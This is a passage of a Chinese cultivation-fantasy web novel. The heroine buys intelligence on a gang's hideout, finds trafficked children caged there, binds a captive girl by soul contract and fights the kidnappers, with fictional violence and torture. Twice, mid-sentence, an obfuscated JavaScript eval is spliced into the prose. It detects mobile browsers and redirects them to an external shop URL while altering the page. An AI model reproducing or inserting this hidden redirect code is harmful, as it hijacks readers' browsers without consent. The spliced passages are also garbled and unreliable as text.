虽然她还没走到绝路,王麻子不会再有更多消息,她当然可以不管左槐,在第三城角落藏着,躲到宗门大选时混入漱玉宗众人里悄然离开,此后当个和这些纷争再无关系的清修弟子;虽然她知换得情报只是第一步,她这一去,有不会再回的可能,也或许会因直接和琉璃楼的人对上,给自己日后引来无穷的麻烦。 但千般思虑,最终还是化作心底一道叹息。她不在意人命,但她不该,也不能欠无辜的人一条命。 对不起凌泠,我的无能,需要你来弥补。 但我做不到视而不见。 温泠淼将指扣在玉佩上,指尖用力一扯,系着的红绳便断了。她将玉佩轻轻放在桌上,而后抬头,目光如剑,破了兜帽投下的阴影,直刺对面的人。 从这怪人进门以来,青年第一次对上她的眼,平静,冷淡,又有如盛了永恒翻涌的暗流,无法看个真切,但正是这点,让人不自觉便要陷入其中。 真是漂亮得惊人。 “你言刀收了,会如何处置?” “自然是再售给有缘人。客人若想了解,去一楼柜台即可。言刀收的物事,除却要进拍卖行的,都会在那展示出售。” “好,”温泠淼往下扯了扯兜帽,又将自己藏入阴影中,冷冷丢下一句。“你好生保管,我会带新的代价来换。” 青年回了个意味深长的笑容,探手将玉佩收入掌中,道:“那我就在这等客官了,您下次来言刀,报我燕昼的名字就好。” 他又循着同样的步骤,从桌上变出一枚石片,递给温泠淼,面上的盈盈笑意比起先前的热切到有些虚假,不知是否是生意做成的缘故,真诚了三分,道:“这便是客官要的所有消息了,您想查看时,将意识注入其中即可。” 温泠淼伸手正要接过,却发现扯不动那石片,她挑了下眉,不动声色地看过去,就见燕昼两指捏住石片一角,迟迟不放手。 “忘了跟客官说了,”燕昼松开那两指,笑意又真了些许,还添上一丝玩味,“我方才暗中算了一卦,客官后天丑时三刻动手最好。” 言刀的人,当真是诡异,且处事方式让她极不舒服。温泠淼不回他的笑,迅速收下石片,却还是在心里将之默默记住。毕竟她本就打算今日只去探探情况,若左槐还能有一口气,她便会等后日凌晨晋升完再行动,至于具体的时辰,挑个吉利些的也无可厚非。 只是,她不记得书中的言刀,是否也如此多嘴。 燕昼还是笑着,做了个送客的手势,“剩下的银两,客官请随我到一楼来结。” 走出言刀这让她浑身都不爽快的店面后,已是傍晚时分,深秋夜黑得早,除却西边还残着几线瑰红辉光外,天穹一片黯淡,只有星子零星亮着。在仿佛从亘古矗立至今,永远散发着浅淡银芒的归一万法阵下,橙黄灯火自万户人家中亮起,有些房顶还升了炊烟。忽然,酉时的打更声响,街道上空挑着的灯笼次第点燃,把城池融做辉煌一片,宛如银河在地上蜿蜒。 主街上游人如织,纵使是满城动荡的时刻,仍有不少胆大的小贩推了装满各类稀奇货物的摊子,从温泠淼身前匆匆跑过。他们在争相抢占街上最好的位子,一到了地方便停下来放声吆喝。 真是一幅热腾腾的人间好景。温泠淼眯起了眼,只是她心事太重,这热腾气闹不进心底,她还在复盘着此次交锋,生怕在不经意间泄了些不该说的话。 好在方才出店门前,燕昼问了一句是否需要将交易内容保密。言刀原来还剩点良心,知道提供无痕浏览选项,不会下一秒便将她当消息卖了去。 温泠淼定了定心,迈开步子,却是转身往来时相反的方向走去。她在熙攘人群中逆行,鼎沸人声被抛在身后,渐渐走远。 这喧嚣和她无关,她已不能再回那间烟火气十足的聚福小馆了。左槐的事给她狠狠上了一课,温泠淼到底还是低估了修仙世界的残酷,在自己没有强大到能庇佑一切前,必须保留最大限度的谨慎,不能再让认识的人们惹祸上身。 她步子越迈越大,最后转走为跑,在城中迅速穿行着,身侧光景变换。 忽然,她在一处隐蔽的小巷里停下了脚步。 温泠淼回头往来时的地方遥遥望去,将眼底稍纵即逝的怅然藏入兜帽阴影中。心中向在那短暂时光里,曾有过一些温暖交集的人们暗暗道声珍重。 彩云易散,有缘再会。 - 忙于躲藏的温泠淼没有看到,言刀中那侍者装扮的青年,在见她身影走远后,便一收那副温润闲淡样子,极为利落地闭门谢客。 他最后向温泠淼消失的地方看去一眼,唇角扯开意味难明的笑容。 祝老的眼神,当真没有错过。他在这小小分部苦守一载,终于还是等来了言刀要见的人。 若是这位,他也还算得心甘情愿。 - 这晚,温泠淼先是横跨大半个城池,躲进了第三城西北部分。待她对着地图确定离南边琉璃楼和聚福小馆都足够远后,便放慢了脚步,寻处市场钻了进去。 她先买了件底层修士最常穿的麻布斗篷,将自己这身有些怪异的装扮换下。又念着一寸长一寸强的道理,花半两银子收下一柄凡铁剑,再添上一支轻便的匕首,以备不时之需。 这是两世以来,她第一次接触到为夺人性命而生的兵器,自然是不懂怎么使的。不过没吃过猪肉也见过猪跑,网文里十个修仙的八个用剑,她总可以照葫芦画瓢上一两式。 这凡铁剑也对得上价格,乍一眼平平无奇,细看还是没半点绝世神兵的样子。剑光暗淡,锻工粗糙,本就只是供凡人防身用的,好在用料还算扎实,剑尖也磨得锋锐。 她将剑收入鞘,挂上腰间。心中暗想有朝一日一定要去看看那些小说中的神剑仙剑,都是铁打的东西,究竟有何不同之处。 出了市场,她又在城西北靠外围的地方选了处价格低廉,三教九流之徒聚集的客栈落脚。这块算是跟城南木石巷齐名的混乱之地,客栈中同她一样装束的人乌压压一片,占了大半。掌柜自然是见惯不怪,没多问一字,收了钱就招人领她去分好的房。 温泠淼送走领路的小厮,锁上门,收了笑,拿出在言刀买下的石片,放在手中仔细端详着。 她好像忘了问注入意识是怎么个步骤。毕竟出身唯物主义社会,这一点都不科学的东西算是一脚踩在她的知识盲区。 没有接受修仙义务教育就是麻烦。温泠淼无奈暗道,只能自己先折腾看了。 她试着排除心中杂念,而后慢慢将注意力集中到手中石片上,忽然,一阵短暂的晕眩袭来,恍惚中,温泠淼隐约意识到有些东西以无法抵抗之势,强硬撞入她脑海。 是她要的左槐关押地,和守卫配置的具体情报。 你说要是前世考试前能有这玩意该多好,温泠淼拍拍脸,从被迫接收信息的眩晕中恢复过来,顺便及时制止了自己的幻想。而后她闭上眼,细细解读石片里传来的情报。 虽然现在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413782|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起言刀,她还会有些牙痒。但不得不承认,这在世间潜伏了逾百年的神秘情报组织,还是有它的底气。在读取了石片里的情报后,她脑中就被录入了南门外部一块陌生区域的详细地图。地图正中还标上特殊印记,温泠淼仔细观察着,这是一片距城稍远的山林,王麻子的老窝正藏在林中一处极为隐蔽的洞窟里。 洞窟和琉璃楼所在的城外市间相距约十里,若不是言刀,要想找到还真得费一番功夫。 温泠淼再仿照之前的做法,往那处标记点细想,甚至能在脑中见到洞窟的粗略构造。它藏在山脚处的入口看着狭小,往里走却越发宽敞,到了最深处甚至有三丈高,也算是别有洞天。王麻子和两位道上兄弟就在那宽敞处筑了一小院落,四周砌起一丈高的石墙,墙上没设阵法,只插了密密麻麻的尖刺。左槐被关押在院中一间厢房里,而王麻子等人则常在相邻的房中休息。 王麻子自知干事不光彩,除却两个信得过的道上兄弟,没再找什么外援,甚至同琉璃楼那边都暂时断了联系,称抱恙在家休养。 她眉头微皱,王麻子的修为在练气五层,两个兄弟实力稍弱,一个练气四层,一个练气二层。就算是等她晋升了,对付起来也会有些麻烦。 把信息归整完毕,温泠淼睁开眼,狠狠吐了口气。好消息是,琉璃楼的底层架构相当松散,到了除按时交货外一律不管的地步。这让她稍微安下心,就算到时她把王麻子三人一并解决了,也不会有太多后顾之忧。毕竟供货人干的都是缺德事,一不小心就惹仇家上身,一年总得没上几个,琉璃楼与其一个个追究过去,倒不如寻觅新货源来得实在。 坏消息是,她两世都没有打群架的经验,更何况还要应对灵力这一变数。好在言刀给的消息还算详细,说这三人都只练了最普通的青阳气功,剑技步法等一概不通。只有王麻子曾向琉璃楼求得过一下品体术碎玉爪。 不知凯格尔掌和碎玉爪碰上,哪个能更胜一筹。温泠淼眼光微动。敌众我寡,敌明我暗,须得先做好万全的准备,最好,还是能找到逐个击破之法。 到了夜半,温泠淼从客栈窗口一跃而下,在夜色阴影中穿行,直奔城南而去。 在她踏出南城门的一瞬,温泠淼心底微动,莫名感知到一缕如鬼魅般危险的气息,跟在她身后出了城,而后以极快的速度往城外市那边袭去。她转头定睛一看,却是再不见半分异样。那座在城外市正中挺立着的九层楼阁,今夜依旧一副灯火煌煌样子,远远传来乱耳丝竹,伴着靡靡唱声。 难道是言刀所说的好戏序幕? 仔细确认了这分异样带来的感受并非不详后,温泠淼收回目光,迅速而谨慎地向王麻子藏身的山林潜行。 她记得原书提到过,言刀的人从不说假话,至多只会说部分的真话。燕昼既然警告她琉璃楼的浑水万不可淌,她自然不会去凑这个热闹。 温泠淼花了半个晚上,将这山林的每寸土地都摸排了个遍,与言刀给的地图相互对照着,慢慢在脑中构建出入林和逃跑的最佳路线。 她最后还是寻到了王麻子所在洞窟的入口。这几个地痞无赖警惕性是有,但不高。他们只用荆棘编了张网,将洞口严实盖住,又在附近撒了几只捕兽夹,防止野兽或外人来犯。 温泠淼眸光微动,藏在树冠里远远观察着,没再冒然前进,虽以她的气力,一掌扫开这些障碍并非难事,但她还不打算现在打草惊蛇。她跳下树冠,捞起袖子,准备采用老祖宗越狱的经典办法,走地下。 待她浑身是土地从地洞中探出头后,便一眼望见了那洞窟最里处的院落。温泠淼一动不动地蜷缩在阴影中,调动起所有感官。此时院落中人已入眠,只有其中一处厢房偶尔传来压抑的呻吟和痛呼,温泠淼面皮稍动,至少左槐还活着。她在心里道了声抱歉,而后钻回地里溜走。离开前还不忘将地面恢复原样。 7. 囚人 第二日,天还未亮,温泠淼便醒了,她睡眠极浅,窗外才传来晨鸟零星的叫声,便扰得她睁了眼,她深吸一口气,抓过放在床头的凡铁剑,翻身下了床。 时间所剩无几,她必须抓紧提升自己的战斗能力。 她先去一趟楼下,管掌柜买了杯蜂蜜水,而后将之分作两份,将其中一份一饮而尽。剩下的便留到子时后,也就是系统认定的下一天。完成练体任务胸推后,温泠淼在房中收拾了块空地出来,准备练剑。 她对原作小说的战斗体系有些印象,一般来说,功法只教开灵脉练气。至于修士们躯体上的灵穴,需要点亮哪些,该如何激发等等都属于相应的剑技,步法,体术所涉猎的范畴。而这些技法往往都是宗门或世家的不传之秘,普通修士,特别是无门无派的散修,极难学到。 没了技法,低级散修们基本上就是把剑当烧火棍劈。 而她由于社畜健身计划这个金手指在,无痛免去了这些步骤。灵穴?只要是练体系统激活过的部位,就都是点亮的。不过可惜的是,那小说为在唯物主义世界中保持阅读性,牺牲了太多修炼细节,没把各剑技对应的灵穴说明清楚。不然她还能从谢星君会的招式里剽窃一两个,也不用像现在这样干什么都是毫无章法地灵穴全点,主打一个力大砖飞。 温泠淼这些天也仔细观察过,自己被激活灵穴的地方,灵活程度和能调用的力量都远胜其他肢体。若普通修士的肢体掌控程度和她未强化的部位在一个水平。那她面对同阶修士,特别是没法学到几个招式的散修,将会很有胜算。 这是她最大的优势,也是她能下定决心以一敌三的自信来源。 温泠淼拔剑出鞘,比对着以前看的武侠小说,尝试使出刺,劈,扫,砍,挑等招。由于练体对右臂和右掌的强化,她能轻易挥动这沉得让前世的她难以举起的凡铁剑。她一招一式虽无比粗糙,甚至稚嫩到有些好笑,却在一次次的重复挥砍中,逐渐有了几分如鱼得水之势。 日升到日落,她不知疲倦地在房中,将一个个动作枯燥重复着,她也时常似有所悟,停下思索几息,而后下一次出剑,手法便会更为圆融老道。等到朦胧月光透过窗纸撒入房中,落了一地碎银时,踩着碎银起舞的人已能凭着对身体的绝佳掌控,将剑出得又快又稳。 待系统面板上的今日喝水进度重置到零,温泠淼才意犹未尽地结束练习,归剑入鞘。她用袖子擦了把汗,将早上准备的蜂蜜水一饮而下。 “恭喜您成功晋升到练气五层,您的下一等级为练气六层,晋升要求为:连续十天摄入清澈无毒的酒水100毫升,今日进度为(0/100)。” “佳酿虽好,可不要贪杯哦~” 到底是谁教这系统的,这种过时梗也拿得出来,温泠淼一时无语,却见这面板最下方,又缓缓现了一行极小的字。 “练剑虽好,也不要太上瘾哦~别担心,且战且勇,谋而后动,一定会成功的!” 温泠淼挑了挑眉,原来这系统不是个毫无感情的按时喝水打卡机。虽然她不知一个有意识的系统是好是坏,是敌是友,但至少,在这一刻,能得一句看着真诚的鼓励,她心底还是暖意渐起。 ”谢了。”温泠淼唇角绽开个浅淡的笑容,她话音刚落,久违的晋升之感便强势袭来。血脉中,灵气湍流又凭空厚上三分,如滔滔河川,呼啸流淌过她的四肢百骸。 她将手握了握拳,力量比方才练剑力竭时充盈了几乎一倍。 温泠淼再在地上躺下,随意找了个重物,把练体所需的两百胸推也完成了。顺利升至练体五层,解锁左臂灵穴。 万事具备,只差时机。她熟悉了一会新灵穴的力量,便回到床上枯坐,垂眼数着时辰,心中一遍遍推算着计划。 - 丑时,温泠淼倏然睁开双眼,抓起放在身侧的剑,将匕首收入袖中,从窗口一跃而出。 她顺着计划好的路线,再度从地下回到洞窟中,这次她不再躲着远观,而是小心翼翼地敛着气息,悄无声息地接近那处院落。 按照原书的设定,修士在成功筑基前,都不会解锁灵识,也就是说,她只要瞒过他人感官,便可悄然接近,抢占先机。 温泠淼从距离王麻子等人所在厢房最远的地方翻进了院落,如今她四肢矫健异常,蹬墙上几丈高都不在话下,这墙上的小手脚挡不了她。 等她利落地站定,扫视一眼四周,却发现院落这角荒凉异常,只起了一间简陋的茅屋,屋中还散出浓重的臭味,闻起来和排泄物极其相似,也不知是堆了多少。 温泠淼隐秘地动了动鼻子,却又敏锐捕捉到那茅屋深处传来些许细小又密集的声响。 她右手轻按腰间剑上,左手也扣住了袖里的匕首,闪身往这意料外的地方探去。既然选择了行动,她便要把一切情况都掌控在自己手中,排除发生任何意外的可能。 等她无声地推开那扇门。借着挂在屋外的明石照进的一缕微光,屋中的景象缓缓映她眼底,就算是自诩胆大冷静的温泠淼,也不由瞳孔微缩。 茅屋角落里,放着一间狭小的铁笼,不过半人高,却关着密密麻麻的十几个孩子。 那些孩子男女参半,最大看着也不过十一二岁,最小的年约五六,衣不蔽体,有些甚至不着寸缕,在极矮的笼中无法直立,如野兽样匍匐爬行着。他们不敢发出太大的声音,只能绝望地掰弄铁笼,传出些闷闷的呜咽,但任他们再如何挣扎,都无济于事。 温泠淼一瞬间有些头皮发麻,她探手关上门,再往屋中走进几步,凭着修士绝好的夜视能力,将这小小的人间地狱看得彻底。 孩子们大多瘦得皮包骨头,两颊深深凹陷下去,不知在这关了多少时日,眼中的求生欲望已被磨灭殆尽,取而代之的,是死水般的麻木,甚至连她这个未知者闯入,都恍若未闻。有几个还存着些力气的,被她方才开门放进的光刺得身体一颤,往那边看了会,又在发现没有食物后迟缓地把头转回去。 不用说,那股在屋外都能闻见的臭味从何而来,他们在这笼中,连活下去都难保障,哪还会计较什么尊严。温泠淼只要扫一眼地面,就知道笼子下方那片泥泞状的东西是什么。 这笼里关着的,就是等待交往琉璃楼的“货物”。 温泠淼胸口几度起伏,她自认为不是个易被情绪牵动的人,但在这一刻,她还是一阵气血上涌。愤怒如火山下翻涌的熔岩,嘶吼着等待冲破岩层,将那三人浇成灰烬的一刻。 她按在剑柄上的手,微不可见地颤抖着。 忽然,她的衣角好像被什么东西扯了一下。 “求求您…救救我妹妹…” 温泠淼将灵力暗暗汇往右臂的灵穴,垂眼向牵扯感传来之处望去。是一个衣衫稍微齐整些的女孩,约八九岁,虽然不在笼中,右脚却被一道小臂粗的锁链系在房柱上。此时她趴伏在地,拼命爬到最远的地方,伸手勉强抓住她衣 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她方才回头一探,发现笼里的小孩,身上有灵气波动的不在少数。女孩练气二层的实力虽不弱,却也没到能特殊对待的地步。 那么,便不难联想到左槐的事了。若她没猜错的话,就是这女孩,在王麻子授意下,装作求助的可怜样子将左槐引出城外,落入他们手中,受尽折磨。 见了屋里的景象,温泠淼知她多半身不由己。但理解和原谅,从不是一回事,况且,谁又能知她不是在故技重施呢? 女孩听她没头没尾的一句,稍愣了一会,随后好像明白了什么,面色骤然变得极其苍白。 她原来是为那个被她所骗的男人而来。女孩这两日听见院里传来的凄厉惨叫声,也能想到那男人究竟受了多少折磨,这人要迁怒于她,也是理所应当,可她又哪有选择的权利。命运真是弄人,她还以为老天开眼,让她终于等来了希望。不,她还不能放弃,无论如何,她都要为妹妹求一线生机。 女孩缓缓爬起,而后双膝跪落在地,她不顾满地的脏污,额头重重磕在地上,匍匐在温泠淼脚边,低低说:“对不起,我对不起他,也对不起您。您要恨,就恨我吧,您若不解恨,把我千刀万剐都可以。我可以立魂契,一辈子做您的仆人,他们对那大哥做的,您还十倍,不,百倍在我身上都行。” “但我妹妹是无辜的,求求您,放她走。” 女孩头低到地上,她看不见那人表情,只听得她极为冷淡的声音。 “可以。” 还没等她大喜,就听那人又问一句:“你修炼?” “只有练气二层而已。”女孩闭了眼,声音中隐含愤怒。“据说楼里的大人最近偏爱有灵根的炉鼎,这群渣滓就向冲着宗门大选来的孤儿下手,都怪我太弱,才会连陪我来的妹妹都保护不了,才会,不得不欺骗无辜的人,都怪我…” 忽然,她听见一道浅淡的笑声。而后,是金属擦过地面的细微嗡鸣。女孩睁开眼,却见寒芒铮亮,是一把朴素的匕首,被那人按在地上,推至她面前。 “立魂契吧,你把练气四层的杀了,就是比你强的两人中,王麻子之外的那个。我放多少人都可以。” “能做到吗?” 女孩猛然抬起头,夺过匕首,身体有些微的颤抖,而后渐渐平静下来。她只说一字,直视温泠淼的眼却比天上的太阳还要亮和炽热。 “能。” 8. 殃及 “好,”温泠淼也不多话,收了手站起,淡淡问道,“魂契怎么立?” “您不会?”女孩被她这出其不意的话问得一愣,难以置信道。她开始忍不住怀疑起先前的选择是否正确。眼前人能找到这不见天日的地方,还侵入得神不知鬼不觉,该是有一定实力的,而她无法探测到对方灵力波动,说明等级应在自己之上。但魂契又是实实在在的常识,她活这八年,还没见过不知如何立契的修士。 这人真是古怪。 温泠淼不答,冷冷看她一眼,“罢了,我自己来。”她探手,按照记忆中原书所说,虚虚抚上女孩眉心。 “哎,等等!您先别急。”女孩见她声音骤冷,生怕她无知者乱动,一不小心毁了自己神魂,赶忙收起怀疑,老老实实解释说,“等下我放开神识禁制后,您将注意力集中我眉心,放出神识侵入,在里面留下印记即可。” 所以放出神识,留下印记又是什么。温泠淼在心中叹了口气,能不能有点唯物主义的描述。但她不再问下去,只垂眼,排了心中杂念,按女孩所说集中意识,看住她眉心。忽然,温泠淼感觉目光会聚之处在眼前飞速放大,等那处占领她全部视野时,一个失神,她的意识便被强制牵扯进某个混沌之地,而后还未等她反应,便又觉神识被撕去一小部分,留了下来。下一瞬,她的意识就被强硬排挤出去,等她从恍惚中回过神,心底便多了些隐约的感觉,提醒着她,自己和面前的女孩间已建起难以说清的联系。 这感觉就像将对方的生命,和一切行动的能力,都握在自己一念之间。她想要人死,那对方就不得苟活。 原来这便是立魂契的感觉,温泠淼睁眼,双目恢复清明,她低下头去,暗中检查女孩情况,不料正好对上那孩子缓缓抬起的眼。女孩神情中带了一丝痛苦,额上满是大汗,好似刚从一场极为艰难的斗争中幸存。 温泠淼有些诧异,却不多过问,只遵守约定,静静抽出剑来。她将剑尖垂直向下,轻点在锁链靠近女孩腿部那端,而后双臂灵穴骤然点亮,灵力自手流泻而出,裹挟在剑尖上。她按在剑上的双手往下压去,眉没皱一分,像没施多少力的样子,那粗铁煅的链子却如遇了利到极致的刃,一触即断。若有人细看,便会发现断口如泥,是被这灵气融化开了。 同她来时一样,没发出一丝声音。 温泠淼不管一旁女孩看直了的眼,将剑收起。只是归剑入鞘时,她扫过剑身的目光凝滞了一瞬。 好好的凡铁剑,还没见血呢,怎都有些卷刃了。 女孩确实是有些被震住,温泠淼这面不改色的一剑看着轻松,但她知其中蕴含的力量是何等恐怖,天知道为破这铁链她这些天想了多少办法。且她站的低,那人向下压剑时,阔袖微扬,正好被她望了进去。这一眼可让她结结实实地吓了一跳,里面那只干瘦的手臂上密密麻麻点着灵穴,若她没数错的话,该有数十个之多,不知是喂了多少剑技体术进去。 是大门派悄悄跑出来历练的弟子吗?女孩百思不得其解,可哪的大门派会养出个修仙文盲。 算了,她放弃思考,强点好,强点才有收拾那几个渣滓逃出去的机会。 温泠淼转身欲走,却像是想起了什么,脚步顿了顿,她微微侧过头道,“我先去会会那几人,莫要轻举妄动,等我创造时机。” 女孩面上的惊疑之色被迅速收拾干净,转为凝重,她将头一点,而后身形闪动,先一步出了茅屋。脱了锁链的她就如一只生于暗夜的小兽,旁人稍不注意,便融入阴影中去了。 有趣,温泠淼挑了下眉,就算是她,若不用些心思放大感知,也无法捕捉这道隐蔽在暗处的影子。她还说怎么答应得干脆,原来是真有底气。 她将茅屋门合上,翻身上了房顶。有人相助,事情就会好办些。自然,温泠淼没真将左槐的事全怪罪于她,魂契已立,她也从契约中传来的信息知女孩所说不假。命在他人手中,不能苛求孩子做一个完人。 罪魁祸首是那三个渣滓,其余的,不过是受害者在压迫下的互害。用交易代替原谅,只是为了让她二人心里都好受些。 温泠淼暂且先不管女孩,从房顶上一步步逼近院落另一端。她方才往院中看了一趟,就轻易认出了言刀标记的王麻子三人住所,无他,只因这房砌得实在精致,白墙青瓦,和茅屋简直天壤之别。可惜落在无人荒洞中,有一番锦衣夜行的荒诞味道。她小心控制着双腿肌肉,在脆生的瓦上起落,却如猫一样静。最后,她在房顶上找了处地方,收起呼吸,趴伏下来,悄无声息地揭开瓦往下看去。 该说是符合王麻子这人性格,屋内装饰极尽张扬豪华本事,家具全套由金丝楠木所雕,白玉灯盏中跃动的烛火一照,其上暗光便粼粼起伏,犹似黄金制成的浪涛。各类金银装饰都被随意弃置在旁,宛如任人采撷一般。温泠淼再把目光缓缓上移,就见那墙上也不空着,满当当挂着书画,大红章子砰砰盖,像模像样的。 只是这一片金碧辉煌中,到底还有些不太和谐的东西。温泠淼眼光一动,便看到在“仁德生财”四字书法下,不知被谁堆起各式奇异器具,血迹斑斑,有的甚至还挂着肉。 房间正中置着一木雕茶桌,桌脚刻了九条盘虬交错的小龙,呈九龙托云图景。王麻子三人正围在桌旁饮酒,神色各异。其中两人一壮一瘦,一杯接一杯喝得可欢,就差将脸凑到酒壶上了。坐在首位的人身形适中,一脸麻子,眉眼阴翳,满面愁云,但面上堆叠的横肉又透出些愁云遮不掉的狠戾,长相同莽村中男户主有几分神似。 看来这位便是王麻子,温泠淼微微眯眼,细细感知了下,果然,王麻子修为和她持平,在练气五层。而那两人倒有趣些,看着有她两倍高的壮汉不过练气二层,反而是弱不禁风的瘦子修为稍强,到了练气四层。 “王哥,”壮汉一杯烈酒下肚,嘴被香得要咧到耳朵边去,“这回捉来的小子没啥意思啊,无论我怎么打,怎么抽,就只会说不知道,不记得,人一进城就跑了。那嗷嗷叫声,刚听还有点意思,现在听个几天,耳朵都快要起茧子。你说我明天是再去烧个铁呢,还是干脆一刀解决算球。” 他醉眼朦胧地看向王麻子,小眼被面上的肥肉一挤,就藏在褶子中不见了,说到兴头,他还伸出肥呼呼的手做了个抹脖的动作。 “管他知不知道,你好好玩就是,谁让他被小娘们勾了魂,落在咱们手里。”瘦子酒量好些,醉得不深,见王麻子面色不好,赶忙识相地圆场。他挤出谄媚的笑容,搓了搓手,将话题一转就往自己的功劳上靠。“王哥,说到这消息呀,小弟我还真有。我前些天花了点银子,让木石巷那帮乞儿拿着画像一个个问去。方才李二狗传了话来,说秋桂巷头里一老太好像见过,指着画非说是她最近丢的孩子,但那老太好像疯了,逢人就问有没有见着她小孩。要不,小弟明天去想办法把她也抓过来。” “去,”王麻子盯着杯中酒看了良久,冷然道,“在没抓到人前,那小子就让刘弟先玩着,别让他死得太痛快,不玩够,不解我胞弟之恨。” “至于那贼人…若是再逮不到,我就让你俩一起陪他。”王麻子抬起头,不善的眼缓缓扫过二人。 “是,是,都听王哥的。”瘦子脖子一凉,笑得更为谄媚,小心翼翼地给王麻子又斟上满满一杯酒。随后悄悄用手肘捅了下壮汉,低声道。“你个缺心眼的,王哥心情差,就不懂少说两句。管那人知不知道,不知道也得打,王哥只要见人惨了,他心就舒坦。” 壮汉睁着醉眼,似懂非懂地应一声。三人正准备继续把酒言欢,王麻子却忽然一紧面上横肉,双眼怒睁,喝声如雷:“谁?” 说时迟,那时快。他话音未落,一道剑光就劈开房顶,往壮汉身上斩去。 “阿刘小心!”瘦子情急之下将手中杯一摔,扑向壮汉。 在二人提醒下,醉得厉害的壮汉慌忙运起灵气防护,却还是远不及那道剑光来得快。不过瘦子这一扑终究算起了效果,他壮硕的躯干与剑尖错开些许,只被削去左臂。 壮汉惨叫一声,鲜血自创口喷涌而出,剧痛后知后觉袭来,他一个承受不住,昏厥过去。 温泠淼一剑解决了壮汉,还不忘面无表情地瞥余下二人一眼,随后她燃烧灵力,全身灵穴骤亮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413784|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步子再动,就一刻不停地朝炼气四层的瘦子逼去。 “是你?”王麻子终于见着这枯瘦修士的面容,一下便和那张他盯了百遍的画像对上。胞弟被杀,兄弟当面重伤,旧恨再添新仇,让他怒得将一口牙都咬碎。他捞起手边的刀,阴阴一笑,“大胆贼人,嘿,我还愁找不到你,今日反倒送上门来,看我等会怎么抓了你折磨。” 就在王麻子放狠话时,见阎王转过来索命的瘦子吓得魂都快飞了,他慌忙抽出腰间佩剑,四处挥动招架,不料温泠淼步伐迅捷如鬼魅,他睁大眼睛拼尽全力才看得清个轮廓。她连出三剑,一剑叠一剑,一剑胜一剑,纵使瘦子使出浑身解数挡住,还是被她劈在剑上的力道震得虎口发麻。见状,瘦子不得不将全身灵气运至剑上化解,却见她最后一剑下去,直接将他的灵气霸道震碎,连带那精钢打的剑一起斩作两段。 眨眼之间,胜负已分,瘦子被吓得腿一软,人向后跌在地上,手上断成两截的剑掉落在地,发出闷闷响声。温泠淼正欲趁势再刺一剑,耳尖却敏锐地感知到身后空气异动,她飞身急撤,下一瞬,王麻子便一刀劈在她方才站的地方。 王麻子一击未中,又横刀扫来。温泠淼眼扫过连滚带爬地捡起壮汉佩刀的瘦子,暗叹声可惜,她再甩过一剑,破了王麻子攻势,随后欺身而上,与二人缠斗在一起。 王麻子不愧是练气五层,她虽有些速度与力量上的优势,却没法像对瘦子那样从头压制到尾。而他毕竟战斗经验丰富得多,硬接温泠淼剑招几次,就猜出了些规律,虽然还是招架得困难,但也并非全然被动,再加上瘦子不要命般发狠干扰,她一时还破不了局,战况就被拖入胶着。 金碧辉煌的房子在这三人的搏命中是彻底遭了殃,全套金丝楠木家具被劈得七零八落,从断口止不住地飞出木屑,金银装饰撒了一地,碎的碎,裂的裂,金光包裹下的凡铁凡石裸露空中,原来不过是上的色。而幅那“仁德生财”的字被王麻子在乱斗中劈成了几瓣,“平安顺遂”四字则是在温泠淼的剑光中碎成了渣。 “嗡。” 王麻子正趁温泠淼再次侧身一剑劈落瘦子手中刀的空隙,往右掌灌去灵力,点亮其上零星的两颗灵穴,将刀一丢,变掌为爪,腾跃凌空,朝她颅顶抓去。就在温泠淼眼光微凝,左手扣住袖中断剑的一瞬,一道令所有人心悸不止的劲风如刀,从头顶刮过,所到之处,山石砖瓦融成齑粉,随后,无穷威压滚滚而来。 这一瞬,万物好像都被夺去了音声,只能听得那劲风过处些微的嗡鸣。 跃得最高的王麻子宛如挨了正中一掌,被狠狠击落在地,五脏六腑在这冲击力下巨震,传来难忍的绞痛,逼得他嘴角泛起血沫。他还来不及惊怒,就发现自己的发已被削去一片。 若他方才跳得再高些,现在被削的便是头骨了。 王麻子冷汗唰地淌下,他趴伏在地,将口中血沫吐出,眼珠一转,就见另外两人情况也没好到哪去,都像被无形大掌碾在地上般动弹不得。 灵力,这是庞大如汪洋沧海的灵力波动,温泠淼面色微变,第一次,她身临其境地感受到小说中的强者威压。她毫不怀疑,无人能在那道灵力波动下生还。就算她恰好与其行径错开些许,也在它过境一瞬觉得周身重力变作了百倍。 而这不过是开始,劲风过了,威压却不止,反而如深海暗流般不断涌来,她恐惧地发现,若她全身流转的灵力有一丝不支。便会在下一秒被碾作尘泥。 温泠淼单膝跪地,手苦苦撑着地面,才让自己不至于匍匐。饶是如此,她也双腿剧痛,甚至能听见膝盖骨轻微碎裂的声音。 这是,发生什么了?她顾不上疼痛,奋力转动脖颈,拼命往天上望去一眼。这一眼,让她双目淌出血泪,却也将那被鲜血模糊的骇人景象牢牢烙在脑中,成了永生难忘的印记。 房子拦腰而断,顶上青瓦不再,更上面的不知多重的山头也已夷为平地,草木顽石,付之虚无。山脚下的洞窟被劈开见月,星夜天光忽然闯入眼中。 一道劲风,削山填海,风过之处,万物臣服。 这不过一道余波而已。 9. 得鱼 战况被诡异定格,趴伏在地上的三人神态各异。或多或少认识到现在情况后,王麻子和瘦子二人盯着温泠淼的眼狠气还未消,就被惊惧占满。 